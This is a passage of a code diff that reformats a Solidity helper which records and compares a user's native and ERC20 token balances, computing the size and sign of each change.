tokensLength; i++){ + for (uint256 i = 0; i < tokensLength; i++) { memBalances[i] = balanceTracker[_user][trackedTokens[i]]; - } - tokenBalances = memBalances; + } + tokenBalances = memBalances; } } - function calculateBalanceDelta(address _user) internal view returns(BalanceDeltaReturn memory nativeDelta, BalanceDeltaReturn[] memory tokenDeltas){ + function calculateBalanceDelta(address _user) + internal + view + returns (BalanceDeltaReturn memory nativeDelta, BalanceDeltaReturn[] memory tokenDeltas) + { (uint256 prevNativeBalance, uint256[] memory prevTokenBalance) = getBalanceTrackers(_user); - nativeDelta.value = _user.balance > prevNativeBalance ? (_user.balance - prevNativeBalance) : (prevNativeBalance - _user.balance); - nativeDelta.sign = _user.balance > prevNativeBalance ? ('+') : ('-'); + nativeDelta.value = _user.balance > prevNativeBalance + ? (_user.balance - prevNativeBalance) + : (prevNativeBalance - _user.balance); + nativeDelta.sign = _user.balance > prevNativeBalance ? ("+") : ("-"); uint256 tokensLength = trackedTokens.length; - if(tokensLength > 0) { + if (tokensLength > 0) { BalanceDeltaReturn[] memory memDeltas = new BalanceDeltaReturn[](tokensLength); - for(uint i = 0; i < tokensLength; i++){ + for (uint256 i = 0; i < tokensLength; i++) { uint256 currentTokenBalance = IERC20Local(trackedTokens[i]).balanceOf(_user); - memDeltas[i].value = currentTokenBalance > prevTokenBalance[i] ? (currentTokenBalance - prevTokenBalance[i]) : (prevTokenBalance[i] - currentTokenBalance); - memDeltas[i].sign = currentTokenBalance > prevTokenBalance[i] ? ('+') : ('-'); - } + memDeltas[i].value = currentTokenBalance > prevTokenBalance[i] + ? (currentTokenBalance - prevTokenBalance[i]) + : (prevTokenBalance[i] - currentTokenBalance); + memDeltas[i].sign = currentTokenBalance > prevTokenBalance[i] ? ("+") : ("-"); + } tokenDeltas = memDeltas; } } -} \ No newline at end of file +}